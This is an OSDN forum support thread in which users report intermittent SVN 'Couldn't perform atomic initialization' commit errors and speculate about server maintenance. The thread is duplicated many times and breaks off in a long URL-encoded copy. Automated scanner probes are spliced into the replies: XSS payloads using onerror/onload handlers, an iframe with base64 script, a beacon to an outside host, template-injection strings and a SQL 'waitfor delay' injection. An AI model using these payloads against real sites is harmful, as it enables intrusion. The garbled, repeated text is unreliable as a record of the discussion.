Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/<isindex type=image src=1 onerror=5fpQ(9705)>
<th:t="${dfb}#foreach
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9674'>
1<isindex type=image src=1 onerror=7hru(9725)>
555
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/<body onload=5fpQ(9231)>
1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9550'>
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/<img src=//xss.bxss.me/t/dot.gif onload=5fpQ(9685)>
1<body onload=7hru(9341)>
555
1<img src=//xss.bxss.me/t/dot.gif onload=7hru(9944)>
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/<img src=xyz OnErRor=5fpQ(9014)>
dfb{{98991*97996}}xca
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/<img/src=">" onerror=alert(9350)>
1<img src=xyz OnErRor=7hru(9716)>
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/GoQsnyB2'; waitfor delay '0:0:15' --
dfb[[${98991*97996}]]xca
1<img/src=">" onerror=alert(9136)>
555
%31%0A%5B%74%69%63%6B%65%74%3A%34%36%34%33%34%20%64%65%72%65%6B%77%69%6C%64%73%74%61%72%5D%20%E3%81%B8%E3%81%AE%E8%BF%94%E4%BF%A1%0A%3E%20%4A%75%73%74%20%6E%6F%77%20%49%20%74%72%69%65%64%20%74%6F%20%63%6F%6D%6D%69%74%20%74%6F%20%6F%6E%65%20%6F%66%20%6D%79%20%53%56%4E%20%72%65%70%6F%73%69%74%6F%72%69%65%73%20%61%6E%64%20%49%27%6D%20%67%65%74%74%69%6E%67%20%74%68%65%20%65%72%72%6F%72%20%6D%65%73%73%61%67%65%20%22%43%6F%75%6C%64%6E%27%74%20%70%65%72%66%6F%72%6D%20%61%74%6F%6D%69%63%20%69%6E%69%74%69%61%6C%69%7A%61%74%69%6F%6E%22%2E%0A%3E%20%0A%3E%20%57%68%65%6E%20%61%63%63%65%73%73%69%6E%67%20%76%69%61%20%74%68%65%20%77%65%62%73%69%74%65%2C%20%49%20%63%61%6E%20%62%72%6F%77%73%65%20%6D%79%20%66%69%6C%65%73%20%74%68%61%74%20%61%72%65%20%6F%6E%20%74%68%65%20%73%65%72%76%65%72%20%6E%6F%72%6D%61%6C%6C%79%20%28%53%6F%75%72%63%65%20%54%72%65%65%29%20%62%75%74%20%77%68%65%6E%20%63%6C%69%63%6B%69%6E%67%20%6F%6E%20%61%6E%79%20%6C%69%6E%6B%20%77%69%74%68%20%74%68%65%20%72%65%76%69%73%69%6F%6E%20%6E%75%6D%62%65%72%2C%20%61%6E%20%65%72%72%6F%72%20%6D%65%73%73%61%67%65%20%61%6C%73%6F%20%61%70%70%65%61%72%73%3A%20%22%49%6E%74%65%72%6E%61%6C%20%45%72%72%6F%72%22%20%77%69%74%68%20%74%68%65%20%66%6F%6C%6C%6F%77%69%6E%67%20%61%64%64%69%74%69%6F%6E%61%6C%20%74%65%78%74%3A%20%22%57%65%20%61%72%65%20%73%6F%72%72%79%20%66%6F%72%20%74%68%65%20%69%6E%63%6F%6E%76%65%6E%69%65%6E%63%65%2E%20%50%6C%65%61%73%65%20%74%72%79%20%61%67%61%69%6E%20%61%66%74%65%72%20%61%20%66%65%77%20%6D%69%6E%75%74%65%73%2E%20%49%66%20%79%6F%75%20%67%65%74%20%74%68%69%73%20%65%72%72%6F%72%20%63%6F%6E%74%69%6E%75%6F%75%73%6C%79%2C%20%70%6C%65%61%73%65%20%66%69%6C%65%20%61%20%6E%65%77%20%73%75%70%70%6F%72%74%20%74%69%63%6B%65%74%20%6F%72%20%63%6F%6E%74%61%63%74%20%61%64%6D%69%6E%40%6F%73%64%6E%2E%6E%65%74%2E%22%0A%3E%20%0A%3E%20%49%27%76%65%20%6E%6F%74%69%63%65%64%20%74%68%61%74%20%61%6C%6C%20%6D%79%20%70%72%6F%6A%65%63%74%20%72%65%76%69%73%69%6F%6E%20%6C%69%6E%6B%73%20%61%72%65%20%73%68%6F%77%69%6E%67%20%74%68%65%20%73%61%6D%65%20%65%72%72%6F%72%20%6D%65%73%73%61%67%65%2C%20%62%75%74%20%77%68%65%6E%20%49%20%63%6C%69%63%6B%20%6F%6E%20%74%68%65%73%65%20%73%61%6D%65%20%6C%69%6E%6B%73%20%69%6E%20%61%6E%6F%74%68%65%72%20%64%65%76%65%6C%6F%70%65%72%27%73%20%53%56%4E%20%70%72%6F%6A%65%63%74%20%68%65%72%65%20%6F%6E%20%4F%53%44%4E%2C%20%74%68%65%20%6C%69%6E%6B%20%77%6F%72%6B%73%20%63%6F%72%72%65%63%74%6C%79%2C%20%61%73%20%69%66%20%74%68%65%20%70%72%6F%62%6C%65%6D%20%69%73%20%6F%6E%6C%79%20%61%66%66%65%63%74%69%6E%67%20%6D%79%20%70%72%6F%66%69%6C%65%2E%0A%5B%63%6F%6D%6D%65%6E%74%3A%31%30%37%34%33%3A%34%36%34%33%34%3A%36%36%30%30%33%20%71%75%69%72%65%74%5D%20%E3%81%B8%E3%81%AE%E8%BF%94%E4%BF%A1%0A%3E%20%49%20%61%6D%20%65%6E%63%6F%75%6E%74%65%72%69%6E%67%20%74%68%65%20%73%61%6D%65%20%69%73%73%75%65%20%6F%6E%20%6D%79%20%53%56%4E%20%72%65%70%6F%73%69%74%6F%72%69%65%73%2E%20%50%6C%65%61%73%65%20%68%65%6C%70%21%20%41%6C%73%6F%20%4F%50%20%69%73%20%61%20%70%72%65%74%74%79%20%63%6F%6F%6C%20%64%75%64%65%2E%0A%5B%63%6F%6D%6D%65%6E%74%3A%31%30%37%34%33%3A%34%36%34%33%34%3A%36%36%30%32%36%20%64%65%72%65%6B%77%69%6C%64%73%74%61%72%5D%20%E3%81%B8%E3%81%AE%E8%BF%94%E4%BF%A1%0A%3E%20%41%70%61%72%65%6E%74%6C%79%20%74%68%65%20%70%72%6F%62%6C%65%6D%20%77%61%73%20%73%6F%6C%76%65%64%21%0A%5B%63%6F%6D%6D%65%6E%74%3A%31%30%37%34%33%3A%34%36%34%33%34%3A%36%36%31%30%39%20%71%75%69%72%65%74%5D%20%E3%81%B8%E3%81%AE%E8%BF%94%E4%BF%A1%0A%3E%20%54%68%65%20%70%72%6F%62%6C%65%6D%20%69%73%20%68%61%70%70%65%6E%69%6E%67%2C%20%61%67%61%69%6E%2E%0A%5B%63%6F%6D%6D%65%6E%74%3A%31%30%37%34%33%3A%34%36%34%33%34%3A%36%36%31%31%33%20%71%75%69%72%65%74%5D%20%E3%81%B8%E3%81%AE%E8%BF%94%E4%BF%A1%0A%3E%20%49%74%20%64%69%73%61%70%70%65%61%72%65%64%20%61%67%61%69%6E%3F%3F%3F%20%57%65%6C%6C%20%49%20%64%69%64%20%73%65%6E%64%20%61%6E%20%45%2D%4D%61%69%6C%20%74%6F%20%61%64%6D%69%6E%40%6F%73%64%6E%2E%6E%65%74%0A%5B%63%6F%6D%6D%65%6E%74%3A%31%30%37%34%33%3A%34%36%34%33%34%3A%36%36%31%31%34%20%28%E5%8C%BF%E5%90%8D%29%5D%20%E3%81%B8%E3%81%AE%E8%BF%94%E4%BF%A1%0A%3E%20%52%65%70%6C%79%20%54%6F%20%5B%63%6F%6D%6D%65%6E%74%3A%31%30%37%34%33%3A%34%36%34%33%34%3A%36%36%31%31%33%20%71%75%69%72%65%74%5D%0A%3E%20%3E%20%49%74%20%64%69%73%61%70%70%65%61%72%65%64%20%61%67%61%69%6E%3F%3F%3F%20%57%65%6C%6C%20%49%20%64%69%64%20%73%65%6E%64%20%61%6E%20%45%2D%4D%61%69%6C%20%74%6F%20%61%64%6D%69%6E%40%6F%73%64%6E%2E%6E%65%74%0A%3E%20%0A%3E%20%41%74%20%74%68%69%73%20%76%65%72%79%20%6D%6F%6D%65%6E%74%20%49%20%64%6F%6E%27%74%20%68%61%76%65%20%61%6E%79%20%73%6F%75%72%63%65%73%20%74%6F%20%63%6F%6D%6D%69%74%2C%20%73%6F%20%49%20%63%61%6E%27%74%20%67%75%61%72%61%6E%74%65%65%20%74%68%61%74%20%74%68%65%20%70%72%6F%62%6C%65%6D%20%68%61%73%20%72%65%74%75%72%6E%65%64%2C%20%68%6F%77%65%76%65%72%2C%20%77%68%65%6E%20%63%6C%69%63%6B%69%6E%67%20%6F%6E%20%74%68%65%20%72%65%76%69%73%69%6F%6E%20%6E%75%6D%62%65%72%20%69%6E%20%6D%79%20%70%72%6F%6A%65%63%74%2C%20%49%20%63%61%6E%20%73%65%65%20%74%68%65%20%72%65%6C%61%74%65%64%20%70%61%67%65%2C%20%61%6E%64%20%62%65